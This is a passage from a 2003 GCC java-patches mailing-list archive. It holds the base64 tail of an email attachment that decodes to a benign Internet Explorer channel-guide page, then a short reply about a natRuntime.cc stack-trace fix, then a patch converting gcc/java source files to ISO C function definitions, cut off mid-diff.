AAAAAAAAAAAAAAAAAAAAAAEACQQAACggAAAAAAAAAAAAAAAAAAAAAAEACQQAADggAAAAAAAA AAAAAAAAAAAAAAEACQQAAEggAAAAAAAAAAAAAAAAAAAAAAEACQQAAFggAAAAAAAAAAAAAAAA AAAAAAEACQQAAGggAAAAAAAAAAAAAAAAAAAAAAEACQQAAHggAAAAAAAAAAAAAAAAAAAAAAEA CQQAAIggAAAAAAAAAAAAAAAAAAAAAAEACQQAAJggAAAAAAAAAAAAAAAAAAAAAAEACQQAAKgg AAAAAAAAAAAAAAAAAAAAAAEACQQAALggAAAAAAAAAAAAAAAAAAAAAAEACQQAAMggAAAAAAAA AAAAAAAAAAAAAAEACQQAANggAAAAAAAAAAAAAAAAAAAAAAEACQQAAOggAAAAAAAAAAAAAAAA AAAAAAEACQQAAPggAAAAAAAAAAAAAAAAAAAAAAEACQQAAAghAAAAAAAAAAAAAAAAAAAAAAEA CQQAABghAAAAAAAAAAAAAAAAAAAAAAEACQQAACghAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA=9 --O8f5JRTe2246 --O8f5JRTe2246 Content-Type: application/octet-stream; name=ccnews.htm Content-Transfer-Encoding: base64 Content-ID: PGh0bWw+DQogICA8c3R5bGU+DQogICAgICBhOmxpbmsgICAgICB7Zm9udDogOHB0LzEwcHQg dmVyZGFuYTsgY29sb3I6ICNGRjY2MzN9DQogICAgICBhOnZpc2l0ZWQgICB7Zm9udDogOHB0 LzEwcHQgdmVyZGFuYTsgY29sb3I6ICMwMDk5RkZ9DQogICAgICBhOmFjdGl2ZSAgICB7Zm9u dDogOHB0LzEwcHQgdmVyZGFuYTsgY29sb3I6IHdoaXRlfQ0KICAgPC9zdHlsZT4NCg0KICAg PGhlYWQ+DQogICAgICA8c2NyaXB0Pg0KICAgICAgICAgZnVuY3Rpb24gZml4U2l6ZSgpIHsN CiAgICAgICAgICAgIHZhciBoaWRlVG9wID0gODAgKiAyDQogICAgICAgICAgICB2YXIgaGlk ZUxlZnQgPSAyMDAgKiAyDQogICAgICAgICAgICB2YXIgY2ggPSBkb2N1bWVudC5ib2R5LmNs aWVudEhlaWdodA0KICAgICAgICAgICAgdmFyIGN3ID0gZG9jdW1lbnQuYm9keS5jbGllbnRX aWR0aA0KICAgICAgICAgICAgaWYgKGhpZGVUb3AgPiBjaCkgew0KICAgICAgICAgICAgICAg ZG9jdW1lbnQuYWxsLmhlYWRpbmcudmlzaWJpbGl0eSA9ICJoaWRkZW4iDQogICAgICAgICAg ICAgICBkb2N1bWVudC5hbGwuRmlsZUxpc3Quc3R5bGUucGl4ZWxUb3AgPSAwDQogICAgICAg ICAgICAgICBkb2N1bWVudC5hbGwucGFuZWwuc3R5bGUucGl4ZWxUb3AgPSAwDQogICAgICAg ICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgZG9jdW1lbnQuYWxsLmhlYWRpbmcudmlz aWJpbGl0eSA9ICJ2aXNpYmxlIg0KICAgICAgICAgICAgICAgZG9jdW1lbnQuYWxsLkZpbGVM aXN0LnN0eWxlLnRvcCA9IChkb2N1bWVudC5hbGwuaGVhZGluZy5vZmZzZXRIZWlnaHQgLSAw KSArICJweCINCiAgICAgICAgICAgICAgIGRvY3VtZW50LmFsbC5wYW5lbC5zdHlsZS50b3Ag PSAoZG9jdW1lbnQuYWxsLmhlYWRpbmcub2Zmc2V0SGVpZ2h0KSArICJweCINCiAgICAgICAg ICAgICAgIGRvY3VtZW50LmFsbC5ydWxlLnN0eWxlLndpZHRoID0gKGN3ID4gNjUgPyBjdyAt IDY1IDogMCkgKyAicHgiDQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoaGlkZUxl ZnQgPiBjdykgew0KICAgICAgICAgICAgICAgZG9jdW1lbnQuYWxsLnBhbmVsLnZpc2liaWxp dHkgPSAiaGlkZGVuIg0KICAgICAgICAgICAgICAgZG9jdW1lbnQuYWxsLkZpbGVMaXN0LnN0 eWxlLnBpeGVsTGVmdCA9IDANCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAg ICBkb2N1bWVudC5hbGwucGFuZWwudmlzaWJpbGl0eSA9ICJ2aXNpYmxlIg0KICAgICAgICAg ICAgICAgZG9jdW1lbnQuYWxsLkZpbGVMaXN0LnN0eWxlLnBpeGVsTGVmdCA9IGRvY3VtZW50 LmFsbC5wYW5lbC5zdHlsZS5waXhlbFdpZHRoIA0KICAgICAgICAgICAgfQ0KICAgICAgICAg ICAgZG9jdW1lbnQuYWxsLkZpbGVMaXN0LnN0eWxlLnBpeGVsV2lkdGggPSBjdyAtIGRvY3Vt ZW50LmFsbC5GaWxlTGlzdC5zdHlsZS5waXhlbExlZnQNCiAgICAgICAgICAgIGRvY3VtZW50 LmFsbC5GaWxlTGlzdC5zdHlsZS5waXhlbEhlaWdodCA9IGNoIC0gZG9jdW1lbnQuYWxsLkZp bGVMaXN0LnN0eWxlLnBpeGVsVG9wDQogICAgICAgICAgICBkb2N1bWVudC5hbGwucGFuZWwu c3R5bGUucGl4ZWxIZWlnaHQgPSBjaCAtIGRvY3VtZW50LmFsbC5wYW5lbC5zdHlsZS5waXhl bFRvcA0KICAgICAgICAgfQ0KICAgICAgPC9zY3JpcHQ+DQogICA8L2hlYWQ+DQoNCiAgIDxi b2R5IHRvcG1hcmdpbj0wIGxlZnRtYXJnaW49MCByaWdodG1hcmdpbj0wIGJvdHRvbW1hcmdp bj0wIHNjcm9sbD1ubyBiZ2NvbG9yPWJsYWNrIG9ubG9hZD0iZml4U2l6ZSgpIj4NCiAgICAg IDxkaXYgSUQ9ImhlYWRpbmciIHN0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAx MDAlOyBoZWlnaHQ6IDgwcHg7IGJhY2tncm91bmQ6IFVSTChyZXM6Ly9jZGZ2aWV3LmRsbC9j Y25ld3MuZ2lmKSBuby1yZXBlYXQiPg0KICAgICAgICAgPHAgc3R5bGU9Im1hcmdpbi1sZWZ0 OiA4MHB4OyBtYXJnaW4tdG9wOiAxMHB4Ij4NCiAgICAgICAgIDx0YWJsZT4NCiAgICAgICAg ICAgIDx0cj4NCiAgICAgICAgICAgICAgIDx0ZCBub3dyYXA+DQogICAgICAgICAgICAgICAg ICA8Zm9udCBzdHlsZT0iZm9udDogMTZwdC8xNnB0IHZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBi b2xkOyBjb2xvcjogIzAwOTlGRiI+DQogICAgICAgICAgICAgICAgICAgICBuZXdzICYgdGVj aG5vbG9neQ0KICAgICAgICAgICAgICAgICAgPC9mb250Pg0KICAgICAgICAgICAgICAgPC90 ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgPGhy IElEPSJydWxlIiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyB0b3A6IDM0cHg7IGxlZnQ6 IDY1cHgiIHNpemU9MXB4IGNvbG9yPSM4MDgwODA+DQogICAgICA8L2Rpdj4NCg0KDQogICAg ICA8ZGl2IElEPSJwYW5lbCIgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiA4MHB4 OyB3aWR0aDogMjAwcHg7IGJhY2tncm91bmQ6IGJsYWNrOyBvdmVyZmxvdzogYXV0byI+DQog ICAgICAgICA8cCBzdHlsZT0ibWFyZ2luLWxlZnQ6IDIwcHg7IG1hcmdpbi10b3A6IDhweDsg bWFyZ2luLXJpZ2h0OiA4cHgiPg0KICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQ6IDhwdC8x MHB0IHZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBub3JtYWw7IGNvbG9yOiB3aGl0ZSI+DQogICAg ICAgICAgICBUbyB2aWV3IGEgY2hhbm5lbCdzIGNvbnRlbnQsIGNsaWNrIGl0cyBsb2dvIHRv IHN1YnNjcmliZS4NCiAgICAgICAgICAgIDxicj48YnI+DQogICAgICAgICAgICBUbyB1cGRh dGUgY29udGVudCwgZ28gdG8gdGhlIEZhdm9yaXRlcyBtZW51IGFuZCBzZWxlY3QgTWFuYWdl IFN1YnNjcmlwdGlvbnMuDQogICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgVG8g c2VlIHRoZSBsYXRlc3QgY2hhbm5lbHMgZm9yIHRoaXMgY2F0ZWdvcnksIGdvIHRvIHRoZSA8 YSBocmVmPSJodHRwOi8vd3d3LmllY2hhbm5lbGd1aWRlLmNvbS9ndWlkZS9lbi9lbl91cy5h c3AiPk1pY3Jvc29mdCBDaGFubmVsIEd1aWRlPC9hPi4NCiAgICAgICAgIDwvZm9udD4NCiAg ICAgIDwvZGl2Pg0KDQogICAgICA8b2JqZWN0IGlkPSJGaWxlTGlzdCIgcmVzaXplYWJsZT0i WFkiDQogICAgICAgICBjbGFzc2lkPSJjbHNpZDoxMzFBNjk1MS03Rjc4LTExRDAtQTk3OS0w MEMwNEZENzA1QTIiDQogICAgICAgICBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0 OiAyMDBweDsgdG9wOiA4MHB4OyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlIj4NCiAgICAg ICAgIDxwYXJhbSBuYW1lPSJCb3JkZXJDb2xvciIgdmFsdWU9IjAiPg0KICAgICAgPC9vYmpl Y3Q+DQoNCiAgICAgIDxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPg0KICAgICAgICAg d2luZG93Lm9ucmVzaXplID0gZml4U2l6ZTsNCiAgICAgIDwvc2NyaXB0Pg0KDQogICA8L2Jv ZHk+DQo8L2h0bWw+DQ=9 --O8f5JRTe2246-- From java-patches-return-5792-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 11 09:59:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22135 invoked by alias); 11 Jan 2003 09:59:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22127 invoked from network); 11 Jan 2003 09:59:11 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by 209.249.29.67 with SMTP; 11 Jan 2003 09:59:11 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-19.rdu.redhat.com [172.16.50.19]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 95000ABAF8; Sat, 11 Jan 2003 09:58:57 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0B9xPr03463; Sat, 11 Jan 2003 09:59:25 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15903.60157.162356.275032@cuddles.cambridge.redhat.com> Date: Sat, 11 Jan 2003 09:59:25 +0000 (GMT) To: tromey@redhat.com Cc: java-patches@gcc.gnu.org Subject: Re: natRuntime stack trace bug fix In-Reply-To: <877kdcwmk1.fsf@fleche.redhat.com> References: <15902.44574.85768.889028@cuddles.cambridge.redhat.com> <15903.3830.484516.121867@cuddles.cambridge.redhat.com> <877kdcwmk1.fsf@fleche.redhat.com> Tom Tromey writes: > >>>>> "Andrew" == Andrew Haley writes: > > Andrew> 2003-01-10 Andrew Haley > Andrew> * java/lang/natRuntime.cc (_load): StackTrace access needs to be > Andrew> in a try block. > > I think this changes the semantics a bit. I'll have another look. Andrew. From java-patches-return-5793-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 12 02:34:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29962 invoked by alias); 12 Jan 2003 02:34:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29933 invoked from network); 12 Jan 2003 02:34:06 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by 209.249.29.67 with SMTP; 12 Jan 2003 02:34:06 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id VAA01770; Sat, 11 Jan 2003 21:33:55 -0500 (EST) Date: Sat, 11 Jan 2003 21:33:55 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301120233.VAA01770@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch installed for ISO C function definitions in the java dir Patch pre-approved in private email by Andrew Haley. Tested on sparc-sun-solaris2.7. 2003-01-11 Kaveh R. Ghazi * All Files: Convert to ISO C style function definitions. diff -rup orig/egcc-CVS20030110/gcc/java/boehm.c egcc-CVS20030110/gcc/java/boehm.c --- orig/egcc-CVS20030110/gcc/java/boehm.c 2003-01-09 18:13:19.000000000 -0500 +++ egcc-CVS20030110/gcc/java/boehm.c 2003-01-10 23:40:42.785642331 -0500 @@ -43,9 +43,8 @@ static void set_bit (unsigned HOST_WIDE_ /* Treat two HOST_WIDE_INT's as a contiguous bitmap, with bit 0 being the least significant. This function sets bit N in the bitmap. */ static void -set_bit (low, high, n) - unsigned HOST_WIDE_INT *low, *high; - unsigned int n; +set_bit (unsigned HOST_WIDE_INT *low, unsigned HOST_WIDE_INT *high, + unsigned int n) { HOST_WIDE_INT *which; @@ -62,15 +61,14 @@ set_bit (low, high, n) /* Recursively mark reference fields. */ static void -mark_reference_fields (field, low, high, ubit, - pointer_after_end, all_bits_set, - last_set_index, last_view_index) - tree field; - unsigned HOST_WIDE_INT *low, *high; - unsigned int ubit; - int *pointer_after_end, *all_bits_set; - int *last_set_index; - HOST_WIDE_INT *last_view_index; +mark_reference_fields (tree field, + unsigned HOST_WIDE_INT *low, + unsigned HOST_WIDE_INT *high, + unsigned int ubit, + int *pointer_after_end, + int *all_bits_set, + int *last_set_index, + HOST_WIDE_INT *last_view_index) { /* See if we have fields from our superclass. */ if (DECL_NAME (field) == NULL_TREE) diff -rup orig/egcc-CVS20030110/gcc/java/buffer.c egcc-CVS20030110/gcc/java/buffer.c --- orig/egcc-CVS20030110/gcc/java/buffer.c 2003-01-01 16:00:34.000000000 -0500 +++ egcc-CVS20030110/gcc/java/buffer.c 2003-01-10 23:40:42.785642331 -0500 @@ -29,9 +29,7 @@ Boston, MA 02111-1307, USA. */ /* Grow BUFP so there is room for at least SIZE more bytes. */ void -buffer_grow (bufp, size) - struct buffer *bufp; - int size; +buffer_grow (struct buffer *bufp, int size) { if (bufp->limit - bufp->ptr >= size) return; diff -rup orig/egcc-CVS20030110/gcc/java/builtins.c egcc-CVS20030110/gcc/java/builtins.c --- orig/egcc-CVS20030110/gcc/java/builtins.c 2003-01-09 18:13:19.000000000 -0500 +++ egcc-CVS20030110/gcc/java/builtins.c 2003-01-10 23:40:42.795643076 -0500 @@ -116,8 +116,7 @@ static tree builtin_types[(int) BT_LAST] /* Internal functions which implement various builtin conversions. */ static tree -max_builtin (method_return_type, method_arguments) - tree method_return_type, method_arguments; +max_builtin (tree method_return_type, tree method_arguments) { return build (MAX_EXPR, method_return_type, TREE_VALUE (method_arguments), @@ -125,8 +124,7 @@ max_builtin (method_return_type, method_ } static tree -min_builtin (method_return_type, method_arguments) - tree method_return_type, method_arguments; +min_builtin (tree method_return_type, tree method_arguments) { return build (MIN_EXPR, method_return_type, TREE_VALUE (method_arguments), @@ -134,8 +132,7 @@ min_builtin (method_return_type, method_ } static tree -abs_builtin (method_return_type, method_arguments) - tree method_return_type, method_arguments; +abs_builtin (tree method_return_type, tree method_arguments) { return build1 (ABS_EXPR, method_return_type, TREE_VALUE (method_arguments)); @@ -155,8 +152,7 @@ build_function_call_expr (tree fn, tree } static tree -cos_builtin (method_return_type, method_arguments) - tree method_return_type ATTRIBUTE_UNUSED, method_arguments; +cos_builtin (tree method_return_type ATTRIBUTE_UNUSED, tree method_arguments) { /* FIXME: this assumes that jdouble and double are the same. */ tree fn = built_in_decls[BUILT_IN_COS]; @@ -166,8 +162,7 @@ cos_builtin (method_return_type, method_ } static tree -sin_builtin (method_return_type, method_arguments) - tree method_return_type ATTRIBUTE_UNUSED, method_arguments; +sin_builtin (tree method_return_type ATTRIBUTE_UNUSED, tree method_arguments) { /* FIXME: this assumes that jdouble and double are the same. */ tree fn = built_in_decls[BUILT_IN_SIN]; @@ -177,8 +172,7 @@ sin_builtin (method_return_type, method_ } static tree -sqrt_builtin (method_return_type, method_arguments) - tree method_return_type ATTRIBUTE_UNUSED, method_arguments; +sqrt_builtin (tree method_return_type ATTRIBUTE_UNUSED, tree method_arguments) { /* FIXME: this assumes that jdouble and double are the same. */ tree fn = built_in_decls[BUILT_IN_SQRT]; @@ -191,12 +185,11 @@ sqrt_builtin (method_return_type, method /* Define a single builtin. */ static void -define_builtin (val, name, class, type, fallback_p) - enum built_in_function val; - const char *name; - enum built_in_class class; - tree type; - int fallback_p; +define_builtin (enum built_in_function val, + const char *name, + enum built_in_class class, + tree type, + int fallback_p) { tree decl; @@ -220,8 +213,7 @@ define_builtin (val, name, class, type, /* Compute the type for a builtin. */ static tree -define_builtin_type (ret, arg1, arg2, arg3, arg4) - int ret, arg1, arg2, arg3, arg4; +define_builtin_type (int ret, int arg1, int arg2, int arg3, int arg4) { tree args; @@ -262,7 +254,7 @@ define_builtin_type (ret, arg1, arg2, ar /* Initialize the builtins. */ void -initialize_builtins () +initialize_builtins (void) { int i; @@ -322,9 +314,7 @@ initialize_builtins () /* If the call matches a builtin, return the appropriate builtin expression instead. */ tree -check_for_builtin (method, call) - tree method; - tree call; +check_for_builtin (tree method, tree call) { if (! flag_emit_class_files && optimize && TREE_CODE (call) == CALL_EXPR) { diff -rup orig/egcc-CVS20030110/gcc/java/check-init.c egcc-CVS20030110/gcc/java/check-init.c --- orig/egcc-CVS20030110/gcc/java/check-init.c 2003-01-09 18:13:19.000000000 -0500 +++ egcc-CVS20030110/gcc/java/check-init.c 2003-01-10 23:40:42.795643076 -0500 @@ -162,8 +162,7 @@ static void check_final_reassigned (tree Return the declaration or NULL_TREE if no interesting declaration. */ static tree -get_variable_decl (exp) - tree exp; +get_variable_decl (tree exp) { if (TREE_CODE (exp) == VAR_DECL) { @@ -196,8 +195,7 @@ get_variable_decl (exp) } static void -final_assign_error (name) - tree name; +final_assign_error (tree name) { static const char format[] = "can't reassign a value to the final variable '%s'"; @@ -205,9 +203,7 @@ final_assign_error (name) } static void -check_final_reassigned (decl, before) - tree decl; - words before; +check_final_reassigned (tree decl, words before) { int index = DECL_BIT_INDEX (decl); /* A final local already assigned or a final parameter @@ -225,10 +221,8 @@ check_final_reassigned (decl, before) BEFORE, WHEN_FALSE, and WHEN_TRUE are as in check_bool_init. */ static void -check_cond_init (test_exp, then_exp, else_exp, - before, when_false, when_true) - tree test_exp, then_exp, else_exp; - words before, when_false, when_true; +check_cond_init (tree test_exp, tree then_exp, tree else_exp, + words before, words when_false, words when_true) { int save_start_current_locals = start_current_locals; DECLARE_BUFFERS(test_false, 6); @@ -253,9 +247,8 @@ check_cond_init (test_exp, then_exp, els BEFORE, WHEN_FALSE, and WHEN_TRUE are as in check_bool_init. */ static void -check_bool2_init (code, exp0, exp1, before, when_false, when_true) - enum tree_code code; tree exp0, exp1; - words before, when_false, when_true; +check_bool2_init (enum tree_code code, tree exp0, tree exp1, + words before, words when_false, words when_true) { word buf[2*4]; words tmp = num_current_words <= 2 ? buf @@ -321,9 +314,7 @@ check_bool2_init (code, exp0, exp1, befo be used as temporary working areas. */ static void -check_bool_init (exp, before, when_false, when_true) - tree exp; - words before, when_false, when_true; +check_bool_init (tree exp, words before, words when_false, words when_true) { switch (TREE_CODE (exp)) { @@ -455,9 +446,7 @@ struct alternatives * alternatives = NUL of previous alternative branches. */ static void -done_alternative (after, current) - words after; - struct alternatives *current; +done_alternative (words after, struct alternatives *current) { INTERSECTN (current->combined, current->combined, after, WORDS_NEEDED (2 * current->num_locals)); @@ -479,9 +468,7 @@ done_alternative (after, current) /* Check for (un)initialized local variables in EXP. */ static void -check_init (exp, before) - tree exp; - words before; +check_init (tree exp, words before) { tree 